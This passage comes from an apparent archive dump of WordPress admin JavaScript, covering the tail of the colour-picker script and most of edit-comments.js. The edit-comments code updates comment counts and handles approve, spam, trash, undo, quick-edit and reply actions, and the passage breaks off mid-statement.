o.options.change&&o.options.change.call(this,e,t)},width:o.options.width,slider:o.options.slider})},_create:function(){if(i.support.iris){var o=this,e=o.element;if(i.extend(o.options,e.data()),"hue"===o.options.type)return o._createHueOnly();o.close=o.close.bind(o),o.initialValue=e.val(),e.addClass("wp-color-picker"),e.parent("label").length||(e.wrap("<label></label>"),o.wrappingLabelText=i('<span class="screen-reader-text"></span>').insertBefore(e).text(a("Color value"))),o.wrappingLabel=e.parent(),o.wrappingLabel.wrap('<div class="wp-picker-container" />'),o.wrap=o.wrappingLabel.parent(),o.toggler=i('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(o.wrappingLabel).css({backgroundColor:o.initialValue}),o.toggler.find(".wp-color-result-text").text(a("Select Color")),o.pickerContainer=i('<div class="wp-picker-holder" />').insertAfter(o.wrappingLabel),o.button=i('<input type="button" class="button button-small" />'),o.options.defaultColor?o.button.addClass("wp-picker-default").val(a("Default")).attr("aria-label",a("Select default color")):o.button.addClass("wp-picker-clear").val(a("Clear")).attr("aria-label",a("Clear color")),o.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(o.button),o.inputWrapper=e.closest(".wp-picker-input-wrap"),e.iris({target:o.pickerContainer,hide:o.options.hide,width:o.options.width,mode:o.options.mode,palettes:o.options.palettes,change:function(e,t){o.toggler.css({backgroundColor:t.color.toString()}),"function"==typeof o.options.change&&o.options.change.call(this,e,t)}}),e.val(o.initialValue),o._addListeners(),o.options.hide||o.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(e){e.stopPropagation()}),o.toggler.on("click",function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(e){var t=i(this).val();""!==t&&"#"!==t||(o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e))}),o.button.on("click",function(e){var t=i(this);t.hasClass("wp-picker-clear")?(o.element.val(""),o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e)):t.hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})},open:function(){this.element.iris("toggle"),this.inputWrapper.removeClass("hidden"),this.wrap.addClass("wp-picker-active"),this.toggler.addClass("wp-picker-open").attr("aria-expanded","true"),i("body").trigger("click.wpcolorpicker").on("click.wpcolorpicker",this.close)},close:function(){this.element.iris("toggle"),this.inputWrapper.addClass("hidden"),this.wrap.removeClass("wp-picker-active"),this.toggler.removeClass("wp-picker-open").attr("aria-expanded","false"),i("body").off("click.wpcolorpicker",this.close)},color:function(e){if(e===t)return this.element.iris("option","color");this.element.iris("option","color",e)},defaultColor:function(e){if(e===t)return this.options.defaultColor;this.options.defaultColor=e}})}(jQuery); js/edit-comments.js 0000644 00000112373 15233246127 0010302 0 ustar 00 /** * Handles updating and editing comments. * * @file This file contains functionality for the admin comments page. * @since 2.1.0 * @output wp-admin/js/edit-comments.js */ /* global adminCommentsSettings, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */ /* global commentReply, theExtraList, theList, setCommentsList */ (function($) { var getCount, updateCount, updateCountText, updatePending, updateApproved, updateHtmlTitle, updateDashboardText, updateInModerationText, adminTitle = document.title, isDashboard = $('#dashboard_right_now').length, titleDiv, titleRegEx, __ = wp.i18n.__, _x = wp.i18n._x; /** * Extracts a number from the content of a jQuery element. * * @since 2.9.0 * @access private * * @param {jQuery} el jQuery element. * * @return {number} The number found in the given element. */ getCount = function(el) { var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 ); if ( isNaN(n) ) { return 0; } return n; }; /** * Updates an html element with a localized number string. * * @since 2.9.0 * @access private * * @param {jQuery} el The jQuery element to update. * @param {number} n Number to be put in the element. * * @return {void} */ updateCount = function(el, n) { var n1 = ''; if ( isNaN(n) ) { return; } n = n < 1 ? '0' : n.toString(); if ( n.length > 3 ) { while ( n.length > 3 ) { n1 = thousandsSeparator + n.substr(n.length - 3) + n1; n = n.substr(0, n.length - 3); } n = n + n1; } el.html(n); }; /** * Updates the number of approved comments on a specific post and the filter bar. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the approved count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updateApproved = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-comments', approvedClass = 'comment-count-approved', approved, noComments; updateCountText( 'span.approved-count', diff ); if ( ! commentPostId ) { return; } // Cache selectors to not get duplicates. approved = $( 'span.' + approvedClass, postSelector ); noComments = $( 'span.' + noClass, postSelector ); approved.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.removeClass( approvedClass ).addClass( noClass ); } else { a.addClass( approvedClass ).removeClass( noClass ); } updateCount( a, n ); }); noComments.each(function() { var a = $(this); if ( diff > 0 ) { a.removeClass( noClass ).addClass( approvedClass ); } else { a.addClass( noClass ).removeClass( approvedClass ); } updateCount( a, diff ); }); }; /** * Updates a number count in all matched HTML elements * * @since 4.4.0 * @access private * * @param {string} selector The jQuery selector for elements to update a count * for. * @param {number} diff The amount to lower or raise the count with. * * @return {void} */ updateCountText = function( selector, diff ) { $( selector ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) { n = 0; } updateCount( a, n ); }); }; /** * Updates a text about comment count on the dashboard. * * @since 4.4.0 * @access private * * @param {Object} response Ajax response from the server that includes a * translated "comment count" message. * * @return {void} */ updateDashboardText = function( response ) { if ( ! isDashboard || ! response || ! response.i18n_comments_text ) { return; } $( '.comment-count a', '#dashboard_right_now' ).text( response.i18n_comments_text ); }; /** * Updates the "comments in moderation" text across the UI. * * @since 5.2.0 * * @param {Object} response Ajax response from the server that includes a * translated "comments in moderation" message. * * @return {void} */ updateInModerationText = function( response ) { if ( ! response || ! response.i18n_moderation_text ) { return; } // Update the "comment in moderation" text across the UI. $( '.comments-in-moderation-text' ).text( response.i18n_moderation_text ); // Hide the "comment in moderation" text in the Dashboard "At a Glance" widget. if ( isDashboard && response.in_moderation ) { $( '.comment-mod-count', '#dashboard_right_now' ) [ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' ); } }; /** * Updates the title of the document with the number comments to be approved. * * @since 4.4.0 * @access private * * @param {number} diff The amount to lower or raise the number of to be * approved comments with. * * @return {void} */ updateHtmlTitle = function( diff ) { var newTitle, regExMatch, titleCount, commentFrag; /* translators: %s: Comments count. */ titleRegEx = titleRegEx || new RegExp( __( 'Comments (%s)' ).replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' ); // Count funcs operate on a $'d element. titleDiv = titleDiv || $( '<div />' ); newTitle = adminTitle; commentFrag = titleRegEx.exec( document.title ); if ( commentFrag ) { commentFrag = commentFrag[0]; titleDiv.html( commentFrag ); titleCount = getCount( titleDiv ) + diff; } else { titleDiv.html( 0 ); titleCount = diff; } if ( titleCount >= 1 ) { updateCount( titleDiv, titleCount ); regExMatch = titleRegEx.exec( document.title ); if ( regExMatch ) { /* translators: %s: Comments count. */ newTitle = document.title.replace( regExMatch[0], __( 'Comments (%s)' ).replace( '%s', titleDiv.text() ) + ' ' ); } } else { regExMatch = titleRegEx.exec( newTitle ); if ( regExMatch ) { newTitle = newTitle.replace( regExMatch[0], __( 'Comments' ) ); } } document.title = newTitle; }; /** * Updates the number of pending comments on a specific post and the filter bar. * * @since 3.2.0 * @access private * * @param {number} diff The amount to lower or raise the pending count with. * @param {number} commentPostId The ID of the post to be updated. * * @return {void} */ updatePending = function( diff, commentPostId ) { var postSelector = '.post-com-count-' + commentPostId, noClass = 'comment-count-no-pending', noParentClass = 'post-com-count-no-pending', pendingClass = 'comment-count-pending', pending, noPending; if ( ! isDashboard ) { updateHtmlTitle( diff ); } $( 'span.pending-count' ).each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0'); updateCount( a, n ); }); if ( ! commentPostId ) { return; } // Cache selectors to not get dupes. pending = $( 'span.' + pendingClass, postSelector ); noPending = $( 'span.' + noClass, postSelector ); pending.each(function() { var a = $(this), n = getCount(a) + diff; if ( n < 1 ) n = 0; if ( 0 === n ) { a.parent().addClass( noParentClass ); a.removeClass( pendingClass ).addClass( noClass ); } else { a.parent().removeClass( noParentClass ); a.addClass( pendingClass ).removeClass( noClass ); } updateCount( a, n ); }); noPending.each(function() { var a = $(this); if ( diff > 0 ) { a.parent().removeClass( noParentClass ); a.removeClass( noClass ).addClass( pendingClass ); } else { a.parent().addClass( noParentClass ); a.addClass( noClass ).removeClass( pendingClass ); } updateCount( a, diff ); }); }; /** * Initializes the comments list. * * @since 4.4.0 * * @global * * @return {void} */ window.setCommentsList = function() { var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff, lastConfidentTime = 0; totalInput = $('input[name="_total"]', '#comments-form'); perPageInput = $('input[name="_per_page"]', '#comments-form'); pageInput = $('input[name="_page"]', '#comments-form'); /** * Updates the total with the latest count. * * The time parameter makes sure that we only update the total if this value is * a newer value than we previously received. * * The time and setConfidentTime parameters make sure that we only update the * total when necessary. So a value that has been generated earlier will not * update the total. * * @since 2.8.0 * @access private * * @param {number} total Total number of comments. * @param {number} time Unix timestamp of response. * @param {boolean} setConfidentTime Whether to update the last confident time * with the given time. * * @return {void} */ updateTotalCount = function( total, time, setConfidentTime ) { if ( time < lastConfidentTime ) return; if ( setConfidentTime ) lastConfidentTime = time; totalInput.val( total.toString() ); }; /** * Changes DOM that need to be changed after a list item has been dimmed. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ dimAfter = function( r, settings ) { var editRow, replyID, replyButton, response, c = $( '#' + settings.element ); if ( true !== settings.parsed ) { response = settings.parsed.responses[0]; } editRow = $('#replyrow'); replyID = $('#comment_ID', editRow).val(); replyButton = $('#replybtn', editRow); if ( c.is('.unapproved') ) { if ( settings.data.id == replyID ) replyButton.text( __( 'Approve and Reply' ) ); c.find( '.row-actions span.view' ).addClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '0' ); } else { if ( settings.data.id == replyID ) /* translators: Comment reply button text. */ replyButton.text( _x( 'Reply', 'verb' ) ); c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end() .find( 'div.comment_status' ).html( '1' ); } diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1; if ( response ) { updateDashboardText( response.supplemental ); updateInModerationText( response.supplemental ); updatePending( diff, response.supplemental.postId ); updateApproved( -1 * diff, response.supplemental.postId ); } else { updatePending( diff ); updateApproved( -1 * diff ); } }; /** * Handles marking a comment as spam or trashing the comment. * * Is executed in the list delBefore hook. * * @since 2.8.0 * @access private * * @param {Object} settings Settings for the wpList object. * @param {HTMLElement} list Comments table element. * * @return {Object} The settings object. */ delBefore = function( settings, list ) { var note, id, el, n, h, a, author, action = false, wpListsData = $( settings.target ).attr( 'data-wp-lists' ); settings.data._total = totalInput.val() || 0; settings.data._per_page = perPageInput.val() || 0; settings.data._page = pageInput.val() || 0; settings.data._url = document.location.href; settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val(); if ( wpListsData.indexOf(':trash=1') != -1 ) action = 'trash'; else if ( wpListsData.indexOf(':spam=1') != -1 ) action = 'spam'; if ( action ) { id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1'); el = $('#comment-' + id); note = $('#' + action + '-undo-holder').html(); el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits. if ( el.siblings('#replyrow').length && commentReply.cid == id ) commentReply.close(); if ( el.is('tr') ) { n = el.children(':visible').length; author = $('.author strong', el).text(); h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>'); } else { author = $('.comment-author', el).text(); h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>'); } el.before(h); $('strong', '#undo-' + id).text(author); a = $('.undo a', '#undo-' + id); a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce); a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1'); a.attr('class', 'vim-z vim-destructive aria-button-if-js'); $('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside'); a.on( 'click', function( e ){ e.preventDefault(); e.stopPropagation(); // Ticket #35904. list.wpList.del(this); $('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){ $(this).remove(); $('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); }); }); }); } return settings; }; /** * Handles actions that need to be done after marking as spam or thrashing a * comment. * * The ajax requests return the unix time stamp a comment was marked as spam or * trashed. We use this to have a correct total amount of comments. * * @since 2.5.0 * @access private * * @param {Object} r Ajax response object. * @param {Object} settings Settings for the wpList object. * * @return {void} */ delAfter = function( r, settings ) { var total_items_i18n, total, animated, animatedCallback, response = true === settings.parsed ? {} : settings.parsed.responses[0], commentStatus = true === settings.parsed ? '' : response.supplemental.status, commentPostId = true === settings.parsed ? '' : response.supplemental.postId, newTotal = true === settings.parsed ? '' : response.supplemental, targetParent = $( settings.target ).parent(), commentRow = $('#' + settings.element), spamDiff, trashDiff, pendingDiff, approvedDiff, /* * As `wpList` toggles only the `unapproved` class, the approved comment * rows can have both the `approved` and `unapproved` classes. */ approved = commentRow.hasClass( 'approved' ) && ! commentRow.hasClass( 'unapproved' ), unapproved = commentRow.hasClass( 'unapproved' ), spammed = commentRow.hasClass( 'spam' ), trashed = commentRow.hasClass( 'trash' ), undoing = false; // Ticket #35904. updateDashboardText( newTotal ); updateInModerationText( newTotal ); /* * The order of these checks is important. * .unspam can also have .approve or .unapprove. * .untrash can also have .approve or .unapprove. */ if ( targetParent.is( 'span.undo' ) ) { // The comment was spammed. if ( targetParent.hasClass( 'unspam' ) ) { spamDiff = -1; if ( 'trash' === commentStatus ) { trashDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } // The comment was trashed. } else if ( targetParent.hasClass( 'untrash' ) ) { trashDiff = -1; if ( 'spam' === commentStatus ) { spamDiff = 1; } else if ( '1' === commentStatus ) { approvedDiff = 1; } else if ( '0' === commentStatus ) { pendingDiff = 1; } } undoing = true; // User clicked "Spam". } else if ( targetParent.is( 'span.spam' ) ) { // The comment is currently approved. if ( approved ) { approvedDiff = -1; // The comment is currently pending. } else if ( unapproved ) { pendingDiff = -1; // The comment was in the Trash. } else if ( trashed ) { trashDiff = -1; } // You can't spam an item on the Spam screen. spamDiff = 1; // User clicked "Unspam". } else if ( targetParent.is( 'span.unspam' ) ) { if ( approved ) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { // The comment was previously approved. if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; // The comment was previously pending. } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } else if ( spammed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can unspam an item on the Spam screen. spamDiff = -1; // User clicked "Trash". } else if ( targetParent.is( 'span.trash' ) ) { if ( approved ) { approvedDiff = -1; } else if ( unapproved ) { pendingDiff = -1; // The comment was in the spam queue. } else if ( spammed ) { spamDiff = -1; } // You can't trash an item on the Trash screen. trashDiff = 1; // User clicked "Restore". } else if ( targetParent.is( 'span.untrash' ) ) { if ( approved ) { pendingDiff = 1; } else if ( unapproved ) { approvedDiff = 1; } else if ( trashed ) { if ( targetParent.hasClass( 'approve' ) ) { approvedDiff = 1; } else if ( targetParent.hasClass( 'unapprove' ) ) { pendingDiff = 1; } } // You can't go from Trash to Spam. // You can untrash on the Trash screen. trashDiff = -1; // User clicked "Approve". } else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) { approvedDiff = 1; pendingDiff = -1; // User clicked "Unapprove". } else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) { approvedDiff = -1; pendingDiff = 1; // User clicked "Delete Permanently". } else if ( targetParent.is( 'span.delete' ) ) { if ( spammed ) { spamDiff = -1; } else if ( trashed ) { trashDiff = -1; } } if ( pendingDiff ) { updatePending( pendingDiff, commentPostId ); updateCountText( 'span.all-count', pendingDiff ); } if ( approvedDiff ) { updateApproved( approvedDiff, commentPostId ); updateCountText( 'span.all-count', approvedDiff ); } if ( spamDiff ) { updateCountText( 'span.spam-count', spamDiff ); } if ( trashDiff ) { updateCountText( 'span.trash-count', trashDiff ); } if ( ( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) || ( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) ) ) { $( '#delete_all' ).hide(); } if ( ! isDashboard ) { total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0; if ( $(settings.target).parent().is('span.undo') ) total++; else total--; if ( total < 0 ) total = 0; if ( 'object' === typeof r ) { if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) { total_items_i18n = response.supplemental.total_items_i18n || ''; if ( total_items_i18n ) { $('.displaying-num').text( total_items_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.total-pages').text( response.supplemental.total_pages_i18n.replace( ' ', String.fromCharCode( 160 ) ) ); $('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val()); } updateTotalCount( total, response.supplemental.time, true ); } else if ( response.supplemental.time ) { updateTotalCount( total, response.supplemental.time, false ); } } else { updateTotalCount( total, r, false ); } } if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) { return; } theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() ); refillTheExtraList(); animated = $( ':animated', '#the-comment-list' ); animatedCallback = function() { if ( ! $( '#the-comment-list tr:visible' ).length ) { theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() ); } }; if ( animated.length ) { animated.promise().done( animatedCallback ); } else { animatedCallback(); } }; /** * Retrieves additional comments to populate the extra list. * * @since 3.1.0 * @access private * * @param {boolean} [ev] Repopulate the extra comments list if true. * * @return {void} */ refillTheExtraList = function(ev) { var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val(); if (! args.paged) args.paged = 1; if (args.paged > total_pages) { return; } if (ev) { theExtraList.empty(); args.number = Math.min(8, per_page); // See WP_Comments_List_Table::prepare_items() in class-wp-comments-list-table.php. } else { args.number = 1; args.offset = Math.min(8, per_page) - 1; // Fetch only the next item on the extra list. } args.no_placeholder = true; args.paged ++; // $.query.get() needs some correction to be sent into an Ajax request. if ( true === args.comment_type ) args.comment_type = ''; args = $.extend(args, { 'action': 'fetch-list', 'list_args': list_args, '_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val() }); $.ajax({ url: ajaxurl, global: false, dataType: 'json', data: args, success: function(response) { theExtraList.get(0).wpList.add( response.rows ); } }); }; /** * Globally available jQuery object referring to the extra comments list. * * @global */ window.theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } ); /** * Globally available jQuery object referring to the comments list. * * @global */ window.theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } ) .on('wpListDelEnd', function(e, s){ var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, ''); if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 ) $('#undo-' + id).fadeIn(300, function(){ $(this).show(); }); }); }; /** * Object containing functionality regarding the comment quick editor and reply * editor. * * @since 2.7.0 * * @global */ window.commentReply = { cid : '', act : '', originalContent : '', /** * Initializes the comment reply functionality. * * @since 2.7.0 * * @memberof commentReply */ init : function() { var row = $('#replyrow'); $( '.cancel', row ).on( 'click', function() { return commentReply.revert(); } ); $( '.save', row ).on( 'click', function() { return commentReply.send(); } ); $( 'input#author-name, input#author-email, input#author-url', row ).on( 'keypress', function( e ) { if ( e.which == 13 ) { commentReply.send(); e.preventDefault(); return false; } }); // Add events. $('#the-comment-list .column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); $('#doaction, #post-query-submit').on( 'click', function(){ if ( $('#the-comment-list #replyrow').length > 0 ) commentReply.close(); }); this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || ''; }, /** * Adds doubleclick event handler to the given comment list row. * * The double-click event will toggle the comment edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} r The row to add double click handlers to. * * @return {void} */ addEvents : function(r) { r.each(function() { $(this).find('.column-comment > p').on( 'dblclick', function(){ commentReply.toggle($(this).parent()); }); }); }, /** * Opens the quick edit for the given element. * * @since 2.7.0 * * @memberof commentReply * * @param {HTMLElement} el The element you want to open the quick editor for. * * @return {void} */ toggle : function(el) { if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( __( 'Are you sure you want to edit this comment?\nThe changes you made will be lost.' ) ) ) ) { $( el ).find( 'button.vim-q' ).trigger( 'click' ); } }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ revert : function() { if ( $('#the-comment-list #replyrow').length < 1 ) return false; $('#replyrow').fadeOut('fast', function(){ commentReply.close(); }); }, /** * Closes the comment quick edit or reply form and undoes any changes. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ close : function() { var commentRow = $(), replyRow = $( '#replyrow' ); // Return if the replyrow is not showing. if ( replyRow.parent().is( '#com-reply' ) ) { return; } if ( this.cid ) { commentRow = $( '#comment-' + this.cid ); } /* * When closing the Quick Edit form, show the comment row and move focus * back to the Quick Edit button. */ if ( 'edit-comment' === this.act ) { commentRow.fadeIn( 300, function() { commentRow .show() .find( '.vim-q' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } ).css( 'backgroundColor', '' ); } // When closing the Reply form, move focus back to the Reply button. if ( 'replyto-comment' === this.act ) { commentRow.find( '.vim-r' ) .attr( 'aria-expanded', 'false' ) .trigger( 'focus' ); } // Reset the Quicktags buttons. if ( typeof QTags != 'undefined' ) QTags.closeAllTags('replycontent'); $('#add-new-comment').css('display', ''); replyRow.hide(); $( '#com-reply' ).append( replyRow ); $('#replycontent').css('height', '').val(''); $('#edithead input').val(''); $( '.notice-error', replyRow ) .addClass( 'hidden' ) .find( '.error' ).empty(); $( '.spinner', replyRow ).removeClass( 'is-active' ); this.cid = ''; this.originalContent = ''; }, /** * Opens the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @param {number} comment_id The comment ID to open an editor for. * @param {number} post_id The post ID to open an editor for. * @param {string} action The action to perform. Either 'edit' or 'replyto'. * * @return {boolean} Always false. */ open : function(comment_id, post_id, action) { var editRow, rowData, act, replyButton, editHeight, t = this, c = $('#comment-' + comment_id), h = c.height(), colspanVal = 0; if ( ! this.discardCommentChanges() ) { return false; } t.close(); t.cid = comment_id; editRow = $('#replyrow'); rowData = $('#inline-'+comment_id); action = action || 'replyto'; act = 'edit' == action ? 'edit' : 'replyto'; act = t.act = act + '-comment'; t.originalContent = $('textarea.comment', rowData).val(); colspanVal = $( '> th:visible, > td:visible', c ).length; // Make sure it's actually a table and there's a `colspan` value to apply. if ( editRow.hasClass( 'inline-edit-row' ) && 0 !== colspanVal ) { $( 'td', editRow ).attr( 'colspan', colspanVal ); } $('#action', editRow).val(act); $('#comment_post_ID', editRow).val(post_id); $('#comment_ID', editRow).val(comment_id); if ( action == 'edit' ) { $( '#author-name', editRow ).val( $( 'div.author', rowData ).text() ); $('#author-email', editRow).val( $('div.author-email', rowData).text() ); $('#author-url', editRow).val( $('div.author-url', rowData).text() ); $('#status', editRow).val( $('div.comment_status', rowData).text() ); $('#replycontent', editRow).val( $('textarea.comment', rowData).val() ); $( '#edithead, #editlegend, #savebtn', editRow ).show(); $('#replyhead, #replybtn, #addhead, #addbtn', editRow).hide(); if ( h > 120 ) { // Limit the maximum height when editing very long comments to make it more manageable. // The textarea is resizable in most browsers, so the user can adjust it if needed. editHeight = h > 500 ? 500 : h; $('#replycontent', editRow).css('height', editHeight + 'px'); } c.after( editRow ).fadeOut('fast', function(){ $('#replyrow').fadeIn(300, function(){ $(this).show(); }); }); } else if ( action == 'add' ) { $('#addhead, #addbtn', editRow).show(); $( '#replyhead, #replybtn, #edithead, #editlegend, #savebtn', editRow ) .hide(); $('#the-comment-list').prepend(editRow); $('#replyrow').fadeIn(300); } else { replyButton = $('#replybtn', editRow); $( '#edithead, #editlegend, #savebtn, #addhead, #addbtn', editRow ).hide(); $('#replyhead, #replybtn', editRow).show(); c.after(editRow); if ( c.hasClass('unapproved') ) { replyButton.text( __( 'Approve and Reply' ) ); } else { /* translators: Comment reply button text. */ replyButton.text( _x( 'Reply', 'verb' ) ); } $('#replyrow').fadeIn(300, function(){ $(this).show(); }); } setTimeout(function() { var rtop, rbottom, scrollTop, vp, scrollBottom, isComposing = false, isContextMenuOpen = false; rtop = $('#replyrow').offset().top; rbottom = rtop + $('#replyrow').height(); scrollTop = window.pageYOffset || document.documentElement.scrollTop; vp = document.documentElement.clientHeight || window.innerHeight || 0; scrollBottom = scrollTop + vp; if ( scrollBottom - 20 < rbottom ) window.scroll(0, rbottom - vp + 35); else if ( rtop - 20 < scrollTop ) window.scroll(0, rtop - 35); $( '#replycontent' ) .trigger( 'focus' ) .on( 'contextmenu keydown', function ( e ) { // Check if the context menu is open and set state. if ( e.type === 'contextmenu' ) { isContextMenuOpen = true; } // Update the context menu state if the Escape key is pressed. if ( e.type === 'keydown' && e.which === 27 && isContextMenuOpen ) { isContextMenuOpen = false; } } ) .on( 'keyup', function( e ) { // Close on Escape unless Input Method Editors (IMEs) are in use or the context menu is open. if ( e.which === 27 && ! isComposing && ! isContextMenuOpen ) { commentReply.revert(); } } ) .on( 'compositionstart', function() { isComposing = true; } ); }, 600); return false; }, /** * Submits the comment quick edit or reply form. * * @since 2.7.0 * * @memberof commentReply * * @return {void} */ send : function() { var post = {}, $errorNotice = $( '#replysubmit .error-notice' ); $errorNotice.addClass( 'hidden' ); $( '#replysubmit .spinner' ).addClass( 'is-active' ); $('#replyrow input').not(':button').each(function() { var t = $(this); post[ t.attr('name') ] = t.val(); }); post.content = $('#replycontent').val(); post.id = post.comment_post_ID; post.comments_listing = this.comments_listing; post.p = $('[name="p"]').val(); if ( $('#comment-' + $('#comment_ID').val()).hasClass('unapproved') ) post.approve_parent = 1; $.ajax({ type : 'POST', url : ajaxurl, data : post, success : function(x) { commentReply.show(x); }, error : function(r) { commentReply.error(r); } }); }, /** * Shows the new or updated comment or reply. * * This function needs to be passed the ajax result as received from the server. * It will handle the response and show the comment that has just been saved to * the server. * * @since 2.7.0 * * @memberof commentReply * * @param {Object} xml Ajax response object. * * @return {void} */ show : function(xml) { var t = this, r, c, id, bg, pid; if ( typeof(xml) == 'string' ) { t.error({'responseText': xml}); return false; } r = wpAjax.parseAjaxResponse(xml); if ( r.errors ) { t.error({'responseText': wpAjax.broken}); return false; } t.revert(); r = r.responses[0]; id = '#comment-' + r.id; if ( 'edit-comment' == t.act ) $(id).remove(); if ( r.supplemental.parent_approved ) { pid = $('#comment-' + r.supplemental.parent_approved); updatePending( -1, r.supplemental.parent_post_id ); if ( this.comments_listing == 'moderated' ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 400, function(){ pid.fadeOut(); }); return; } } if ( r.supplemental.i18n_comments_text ) { updateDashboardText( r.supplemental ); updateInModerationText( r.supplemental ); updateApproved( 1, r.supplemental.parent_post_id ); updateCountText( 'span.all-count', 1 ); } r.data = r.data || ''; c = r.data.toString().trim(); // Trim leading whitespaces. $(c).hide(); $('#replyrow').after(c); id = $(id); t.addEvents(id); bg = id.hasClass('unapproved') ? '#FFFFE0' : id.closest('.widefat, .postbox').css('backgroundColor'); id.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300, function() { if ( pid && pid.length ) { pid.animate( { 'backgroundColor':'#CCEEBB' }, 300 ) .animate( { 'backgroundColor': bg }, 300 ) .removeClass('unapproved').addClass('approved') .find('div.comment_status').html('1'); } }); }, /** * Shows an error for the failed comment update or reply. * * @since 2.7.0 * * @memberof commentReply * * @param {string} r The Ajax response. * * @return {void} */ error : function(r) { var er = r.statusText, $errorNotice = $( '#replysubmit .notice-error' ), $error = $errorNotice.find( '.error' ); $( '#replysubmit .spinner' ).removeClass( 'is-active' ); if ( r.responseText ) er = r.responseText.replace( /<.[^<>]*?>/g, '' ); if ( er ) { $errorNotice.removeClass( 'hidden' ); $error.html( er ); wp.a11y.speak( er ); } }, /** * Opens the add comments form in the comments metabox on the post edit page. * * @since 3.4.0 * * @memberof commentReply * * @param {number} post_id The post ID. * * @return {void} */ addcomment: function(post_id) { var t = this; $('#add-new-comment').fadeOut(200, function(){ t.open(0, post_id, 'add'); $('table.comments-box').css('display', ''); $('#no-comments').remove(); }); }, /** * Alert the user if they have unsaved changes on a comment that will be lost if * they proceed with the intended action. * * @since 4.6.0 * * @memberof commentReply * * @return {boolean} Whether it is safe the continue with the intended action. */ discardCommentChanges: function() { var editRow = $( '#replyrow' ); if ( '' === $( '#replycontent', editRow ).val() || this.originalContent === $( '#replycontent', editRow ).val() ) { return true; } return window.confirm( __( 'Are you sure you want to do this?\nThe comment changes you made will be lost.' ) ); } }; $( 